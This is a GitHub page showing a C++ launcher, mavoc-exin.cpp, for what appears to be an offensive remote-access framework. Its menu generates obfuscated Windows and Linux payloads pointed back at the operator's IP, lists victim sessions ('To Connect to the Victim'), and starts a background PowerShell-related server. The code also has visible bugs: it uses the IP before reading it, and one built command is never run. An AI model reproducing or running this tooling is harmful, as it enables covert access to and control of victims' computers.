This repository was archived by the owner on Apr 1, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathmavoc-exin.cpp
129 lines (100 loc) · 3.21 KB
/
mavoc-exin.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#include <iostream>
#include <string>
#include <fstream>
#include <stdlib.h>
#include <regex>
#include <iostream>
#include <string>
#include <fstream>
#include <cstdlib>
#include <regex>
#define RESET "\033[0m"
#define RED "\033[31m"
#define GREEN "\033[32m"
#define YELLOW "\033[33m"
#define BLUE "\033[34m"
#define MAGENTA "\033[35m"
#define CYAN "\033[36m"
using namespace std;
void psw_server(string& power_ip_addr){
system(power_ip_addr.c_str());
}
int main(){
string local_ip_address;
string banner;
string tmux_sr1;
string tmux_sr2;
cout << "Starting Python Exin" << endl;
system("clear");
banner = R"(
┳┳┓ ┏┓ •
┃┃┃┏┓┓┏┏┓┏ ┣ ┓┏┓┏┓
┛ ┗┗┻┗┛┗┛┗ ┗┛┛┗┗┛┗
)";
cout << banner;
cout << endl;
// Fetch ip from ip_addr
cout << YELLOW << "Starting psw-Bible Server" << RESET << endl;
string power_ip_addr = "python3 server.py " + local_ip_address + " > /dev/null 2>&1 &";
psw_server(power_ip_addr);
cout << GREEN << "Psw Server Running" << RESET << endl;
ifstream infile("ip_addr");
if(!infile.is_open()) {
cerr << "Fail to Fetch the IP Address . Enter manually :";
cin >> local_ip_address;
}
string stored_ip_address;
getline(infile, stored_ip_address);
infile.close();
local_ip_address = stored_ip_address;
//
//cout << "Enter Local Ip Address: ";
//cin >> local_ip_address;
tmux_sr1 = "gnome-terminal -- bash -c 'tmux new-session -s mavoc-shell'";
tmux_sr2 = "tmux send-keys -t mavoc-shell 'source bin/python-exin/mavoc/bin/activate ; python3 bin/python-exin/mavoc-exin.py ; clear' C-m";
system(tmux_sr1.c_str());
system("bash files/loading");
system(tmux_sr2.c_str());
while (true){
string cmd;
cout << "Mavoc Ex-py > ";
getline(cin, cmd);
cmd = regex_replace(cmd, regex("\\s+$"), "");
if (cmd.empty()){
continue;
}
else if (cmd == "clear"){
system("clear");
}
else if (cmd == "help"){
system("cat files/infos/help_exin");
}
else if (cmd == "generate windows payload"){
string tmux_sr3 = "tmux send-keys -t mavoc-shell 'generate os=windows lhost="+ local_ip_address +" obfuscate' C-m";
system(tmux_sr3.c_str());
}
else if (cmd == "list connections"){
string sr6 = "tmux send-keys -t mavoc-shell 'sessions' C-m ";
cout << "To Connect to the Victim . Enter shell `your Session ID` " << endl;
}
else if (cmd == "generate linux payload"){
string tmux_sr4 = "tmux send-keys -t mavoc-shell 'generate os=linux lhost="+ local_ip_address +" ' C-m";
system(tmux_sr4.c_str());
}
else if (cmd == "help exin"){
string tmux_sr5 = "tmux send-keys -t mavoc-shell 'help' C-m";
system(tmux_sr5.c_str());
}
else if (cmd == "powershell bible"){
system("./psw-bible");
}
else if (cmd == "exit"){
system("pkill tmux");
system("/usr/bin/bash ; ser_if=$(pgrep -f server.py); kill $ser_if &");
break;
}
else {
cout << "\033[0;33mCommand Not Found . Type help command for more info\033[0m";
}
}
}